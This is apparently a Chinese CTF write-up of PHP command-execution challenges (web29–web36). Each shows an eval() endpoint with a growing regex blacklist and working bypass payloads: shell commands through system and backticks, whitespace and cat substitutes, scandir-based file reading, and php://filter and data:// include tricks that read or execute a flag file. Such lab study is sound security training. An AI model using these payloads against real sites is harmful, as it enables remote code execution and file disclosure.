web入门3

发布于 15 天前  53 次阅读






web入门3

命令执行

web29

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

preg_match()是字符串匹配函数,函数用于执行一个正则表达式匹配,模式分隔符后的"i"标记这是一个大小写不敏感的搜索。也就是说我们传入的东西只要不含flag及其大写变形,就可以绕过这个匹配。

可以使用通配符进行匹配

  • *可以匹配0或多个字符
  • ?可以匹配任意一个字符
  • [abcd] 匹配abcd中任何一个字符
  • [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符

所以这里的flag可以用f*f???替代,我们让c调用system的cat或nl直接获得flag,或者cp去复制文件,这里执行命令中间的空格需要url编码

?c=system("cat%20f*.php");
?c=system("nl%20f*.php");
?c=system('cp%20fla?.php%201.txt');

以下总结一些常见的过滤绕过

  • 反引号``

    反引号``即命令替换
    是指Shell可以先执行``中的命令,将输出结果暂时保存,在适当的地方输出

  • 单引号、双引号

    适用条件:过滤了字符串
    放在shell命令中,绕过正则匹配且不影响原意

  • 空格绕过

    < <> 重定向符
    %09(需要php环境)
    ${IFS}
    $IFS$9
    {cat,flag.php} //用逗号实现了空格功能
    %20
    %09

  • cat绕过

    适用条件:过滤了cat
    (1)more:一页一页的显示档案内容
    (2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
    (3)head:查看头几行
    (4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
    (5)tail:查看尾几行
    (6)nl:显示的时候,顺便输出行号
    (7)od:以二进制的方式读取档案内容
    (8)vi:一种编辑器,这个也可以查看
    (9)vim:一种编辑器,这个也可以查看
    (10)sort:可以查看
    (11)uniq:可以查看
    (12)file -f:报错出具体内容
    (13)grep grep test *file #在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行

  • liunx通配符绕过

    适用条件:过滤了flag,没有过滤 ? *
    在linux系统中 有一些通配符

    匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
    ? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
    [abcd] 匹配abcd中任何一个字符
    [a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0

  • include 和伪协议的配合

    因为include包含php文件不会在页面显示出来
    所以可以配合伪协议将flag.php打印,而且新的参数不会受过滤影响

web30

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了flag,system,php,所以考虑使用echo函数,反引号``有system()的作用,所以:

?c=echo%20`nl%20f*`;

当然还有很多函数可以执行命令

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec()

web31

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了cat,flag,system,php,sort,shell等等,官方wp看不懂,需要以下的知识:

php函数操作:
scandir(’.’):扫描当前目录
localeconv() 函数返回一数组。而数组第一项就是.(用来绕过.过滤)
pos(),current():返回数组第一个值

数组操作函数:
end():数组指针指向最后一位
next(): 数组指针指向下一位
array_reverse(): 将数组颠倒
array_rand(): 随机返回数组的键名
array_flip():交换数组的键和值

读取文件函数
file_get_content() :因为et被ban,所以不能使用
readfile()
highlight_file()
show_source()

/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
/?c=echo%09`nl%09f*`;

web32

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

分号用?>代替,但是过滤了括号就不能用带有括号的函数,所以使用不需要括号的include

php伪协议通常用于文件包含中,php中文件包含的函数有很多,比如 include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfile

php支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

简单通俗的说,这是一个中间件,在读入或写入数据的时候对数据进行处理后输出的一个过程。

php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致任意文件读取。

协议参数

名称 描述
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流。
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read=write= 作前缀 的筛选器列表会视情况应用于读或写链。

利用filter协议读文件,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。

而使用的convert.base64-encode,就是一种过滤器。

/?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web33

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了引号,不影响上题的payload。如果include被过滤了,可以用require来代替

web34

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了冒号,但是伪协议的冒号在逃逸的参数1里,不能被过滤,同样的payload

web35

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又多过滤了左尖括号和双引号和等于,继续使用上一个payload。

还可以用data协议

/?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?>

web36

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

过滤了数字,把逃逸参数的名字换成字母就可以了